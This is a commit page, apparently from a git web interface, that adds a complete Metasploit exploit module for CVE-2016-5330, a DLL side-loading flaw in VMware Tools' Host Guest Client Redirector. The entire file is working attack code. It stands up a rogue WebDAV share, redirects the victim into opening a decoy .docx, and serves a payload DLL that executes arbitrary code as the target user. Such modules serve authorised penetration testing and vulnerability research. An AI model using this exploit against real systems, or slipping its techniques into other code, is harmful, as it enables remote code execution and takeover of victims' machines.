Browse Source

Exploit module for CVE-2016-5330 VMware Host Guest Client Redirector DLL hijack

Yorick Koster 3 years ago
parent
commit
97d11a7041
1 changed files with 349 additions and 0 deletions
  1. 349
    0
      modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb

+ 349
- 0
modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb View File

@@ -0,0 +1,349 @@
1
+# Based on WebDAV Application DLL Hijacker module
2
+require 'msf/core'
3
+
4
+class Metasploit3 < Msf::Exploit::Remote
5
+  Rank = NormalRanking
6
+
7
+  include Msf::Exploit::Remote::HttpServer::HTML
8
+  include Msf::Exploit::EXE
9
+
10
+  def initialize(info = {})
11
+    super(update_info(info,
12
+      'Name'			=> 'DLL side loading vulnerability in VMware Host Guest Client Redirector',
13
+      'Description'	=> %q{
14
+      A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, 
15
+      a component of VMware Tools. This issue can be exploited by luring a victim into 
16
+      opening a document from the attacker's share. An attacker can exploit this issue to 
17
+      execute arbitrary code with the privileges of the target user. This can potentially 
18
+      result in the attacker taking complete control of the affected system. If the WebDAV 
19
+      Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
20
+      },
21
+      'Author'		=> 'Yorick Koster',
22
+      'License'		=> MSF_LICENSE,
23
+      'References' =>
24
+        [
25
+          ['CVE', '2016-5330'],
26
+          ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
27
+          ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
28
+        ],
29
+      'DefaultOptions' =>
30
+        {
31
+          'EXITFUNC' => 'thread',
32
+          'PAYLOAD' => 'windows/exec',
33
+          'CMD' => 'C:\\Windows\\System32\\calc.exe',
34
+        },
35
+      'Payload'		=> { 'Space'	=> 2048, },
36
+      'Platform'		=> 'win',
37
+      'Targets' =>
38
+        [
39
+          [ 'Windows x64', {'Arch' => ARCH_X64,} ],
40
+          [ 'Windows x86', {'Arch' => ARCH_X86,} ],
41
+        ],
42
+      'Privileged' => false,
43
+      'DisclosureDate' => 'August 5 2016',
44
+      'DefaultTarget' => 0))
45
+
46
+    register_options(
47
+      [
48
+        OptPort.new('SRVPORT',		[ true, "The daemon port to listen on (do not change)", 80 ]),
49
+        OptString.new('URIPATH',	[ true, "The URI to use (do not change)", "/" ]),
50
+        OptString.new('BASENAME',	[ true, "The base name for the docx file", "Document1" ]),
51
+        OptString.new('SHARENAME',	[ true, "The name of the top-level share", "documents" ]),
52
+      ], self.class)
53
+
54
+    deregister_options('SSL', 'SSLVersion', 'SSLCert') # no SSL
55
+  end
56
+
57
+
58
+  def on_request_uri(cli, request)
59
+
60
+    case request.method
61
+    when 'OPTIONS'
62
+      process_options(cli, request)
63
+    when 'PROPFIND'
64
+      process_propfind(cli, request)
65
+    when 'GET'
66
+      process_get(cli, request)
67
+    else
68
+      print_status("#{request.method} => 404 (#{request.uri})")
69
+      resp = create_response(404, "Not Found")
70
+      resp.body = ""
71
+      resp['Content-Type'] = 'text/html'
72
+      cli.send_response(resp)
73
+    end
74
+  end
75
+
76
+
77
+  def process_get(cli, request)
78
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
79
+    webdav = "\\\\#{myhost}\\"
80
+
81
+    if (request.uri =~ /vmhgfs\.dll$/i)
82
+      print_status("GET => DLL Payload (#{request.uri})")
83
+      return if ((p = regenerate_payload(cli)) == nil)
84
+      data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
85
+      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
86
+      return
87
+    end
88
+
89
+    if (request.uri =~ /\.docx$/i)
90
+      print_status("GET => DOCX (#{request.uri})")
91
+      send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
92
+      return
93
+    end
94
+
95
+    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
96
+      print_status("GET => REDIRECT (#{request.uri})")
97
+      resp = create_response(200, "OK")
98
+      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
99
+      resp['Content-Type'] = 'text/html'
100
+      cli.send_response(resp)
101
+      return
102
+    end
103
+
104
+    print_status("GET => 404 (#{request.uri})")
105
+    resp = create_response(404, "Not Found")
106
+    resp.body = ""
107
+    cli.send_response(resp)
108
+  end
109
+
110
+  #
111
+  # OPTIONS requests sent by the WebDav Mini-Redirector
112
+  #
113
+  def process_options(cli, request)
114
+    print_status("OPTIONS #{request.uri}")
115
+    headers = {
116
+      'MS-Author-Via' => 'DAV',
117
+      'DASL'          => '<DAV:sql>',
118
+      'DAV'           => '1, 2',
119
+      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
120
+      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
121
+      'Cache-Control' => 'private'
122
+    }
123
+    resp = create_response(207, "Multi-Status")
124
+    headers.each_pair {|k,v| resp[k] = v }
125
+    resp.body = ""
126
+    resp['Content-Type'] = 'text/xml'
127
+    cli.send_response(resp)
128
+  end
129
+
130
+  #
131
+  # PROPFIND requests sent by the WebDav Mini-Redirector
132
+  #
133
+  def process_propfind(cli, request)
134
+    path = request.uri
135
+    print_status("PROPFIND #{path}")
136
+    body = ''
137
+
138
+    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
139
+    my_uri    = "http://#{my_host}/"
140
+
141
+    if path !~ /\/$/
142
+
143
+      if blacklisted_path?(path)
144
+        print_status "PROPFIND => 404 (#{path})"
145
+        resp = create_response(404, "Not Found")
146
+        resp.body = ""
147
+        cli.send_response(resp)
148
+        return
149
+      end
150
+
151
+      if path.index(".")
152
+        print_status "PROPFIND => 207 File (#{path})"
153
+        body = %Q|<?xml version="1.0" encoding="utf-8"?>
154
+<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
155
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
156
+<D:href>#{path}</D:href>
157
+<D:propstat>
158
+<D:prop>
159
+<lp1:resourcetype/>
160
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
161
+<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
162
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
163
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
164
+<lp2:executable>T</lp2:executable>
165
+<D:supportedlock>
166
+<D:lockentry>
167
+<D:lockscope><D:exclusive/></D:lockscope>
168
+<D:locktype><D:write/></D:locktype>
169
+</D:lockentry>
170
+<D:lockentry>
171
+<D:lockscope><D:shared/></D:lockscope>
172
+<D:locktype><D:write/></D:locktype>
173
+</D:lockentry>
174
+</D:supportedlock>
175
+<D:lockdiscovery/>
176
+<D:getcontenttype>application/octet-stream</D:getcontenttype>
177
+</D:prop>
178
+<D:status>HTTP/1.1 200 OK</D:status>
179
+</D:propstat>
180
+</D:response>
181
+</D:multistatus>
182
+|
183
+        # send the response
184
+        resp = create_response(207, "Multi-Status")
185
+        resp.body = body
186
+        resp['Content-Type'] = 'text/xml; charset="utf8"'
187
+        cli.send_response(resp)
188
+        return
189
+      else
190
+        print_status "PROPFIND => 301 (#{path})"
191
+        resp = create_response(301, "Moved")
192
+        resp["Location"] = path + "/"
193
+        resp['Content-Type'] = 'text/html'
194
+        cli.send_response(resp)
195
+        return
196
+      end
197
+    end
198
+
199
+    print_status "PROPFIND => 207 Directory (#{path})"
200
+    body = %Q|<?xml version="1.0" encoding="utf-8"?>
201
+<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
202
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
203
+<D:href>#{path}</D:href>
204
+<D:propstat>
205
+<D:prop>
206
+<lp1:resourcetype><D:collection/></lp1:resourcetype>
207
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
208
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
209
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
210
+<D:supportedlock>
211
+<D:lockentry>
212
+<D:lockscope><D:exclusive/></D:lockscope>
213
+<D:locktype><D:write/></D:locktype>
214
+</D:lockentry>
215
+<D:lockentry>
216
+<D:lockscope><D:shared/></D:lockscope>
217
+<D:locktype><D:write/></D:locktype>
218
+</D:lockentry>
219
+</D:supportedlock>
220
+<D:lockdiscovery/>
221
+<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
222
+</D:prop>
223
+<D:status>HTTP/1.1 200 OK</D:status>
224
+</D:propstat>
225
+</D:response>
226
+|
227
+
228
+    if request["Depth"].to_i > 0
229
+      trail = path.split("/")
230
+      trail.shift
231
+      case trail.length
232
+      when 0
233
+        body << generate_shares(path)
234
+      when 1
235
+        body << generate_files(path)
236
+      end
237
+    else
238
+      print_status "PROPFIND => 207 Top-Level Directory"
239
+    end
240
+
241
+    body << "</D:multistatus>"
242
+
243
+    body.gsub!(/\t/, '')
244
+
245
+    # send the response
246
+    resp = create_response(207, "Multi-Status")
247
+    resp.body = body
248
+    resp['Content-Type'] = 'text/xml; charset="utf8"'
249
+    cli.send_response(resp)
250
+  end
251
+
252
+  def generate_shares(path)
253
+    share_name = datastore['SHARENAME']
254
+%Q|
255
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
256
+<D:href>#{path}#{share_name}/</D:href>
257
+<D:propstat>
258
+<D:prop>
259
+<lp1:resourcetype><D:collection/></lp1:resourcetype>
260
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
261
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
262
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
263
+<D:supportedlock>
264
+<D:lockentry>
265
+<D:lockscope><D:exclusive/></D:lockscope>
266
+<D:locktype><D:write/></D:locktype>
267
+</D:lockentry>
268
+<D:lockentry>
269
+<D:lockscope><D:shared/></D:lockscope>
270
+<D:locktype><D:write/></D:locktype>
271
+</D:lockentry>
272
+</D:supportedlock>
273
+<D:lockdiscovery/>
274
+<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
275
+</D:prop>
276
+<D:status>HTTP/1.1 200 OK</D:status>
277
+</D:propstat>
278
+</D:response>
279
+|
280
+  end
281
+
282
+  def generate_files(path)
283
+    trail = path.split("/")
284
+    return "" if trail.length < 2
285
+
286
+    %Q|
287
+<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
288
+<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
289
+<D:propstat>
290
+<D:prop>
291
+<lp1:resourcetype/>
292
+<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
293
+<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
294
+<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
295
+<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
296
+<lp2:executable>T</lp2:executable>
297
+<D:supportedlock>
298
+<D:lockentry>
299
+<D:lockscope><D:exclusive/></D:lockscope>
300
+<D:locktype><D:write/></D:locktype>
301
+</D:lockentry>
302
+<D:lockentry>
303
+<D:lockscope><D:shared/></D:lockscope>
304
+<D:locktype><D:write/></D:locktype>
305
+</D:lockentry>
306
+</D:supportedlock>
307
+<D:lockdiscovery/>
308
+<D:getcontenttype>application/octet-stream</D:getcontenttype>
309
+</D:prop>
310
+<D:status>HTTP/1.1 200 OK</D:status>
311
+</D:propstat>
312
+</D:response>
313
+|
314
+  end
315
+
316
+  def gen_timestamp(ttype=nil)
317
+    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
318
+  end
319
+
320
+  def gen_datestamp(ttype=nil)
321
+    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
322
+  end
323
+
324
+  # This method rejects requests that are known to break exploitation
325
+  def blacklisted_path?(uri)
326
+    return true if uri =~ /\.exe/i
327
+    return true if uri =~ /\.(config|manifest)/i
328
+    return true if uri =~ /desktop\.ini/i
329
+    return true if uri =~ /lib.*\.dll/i
330
+    return true if uri =~ /\.tmp$/i
331
+    return true if uri =~ /(pcap|packet)\.dll/i
332
+    false
333
+  end
334
+
335
+  def exploit
336
+
337
+    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
338
+
339
+    @exploit_unc  = "\\\\#{myhost}\\"
340
+
341
+    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
342
+      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
343
+    end
344
+
345
+    print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
346
+
347
+    super
348
+  end
349
+end

Loading…
Cancel
Save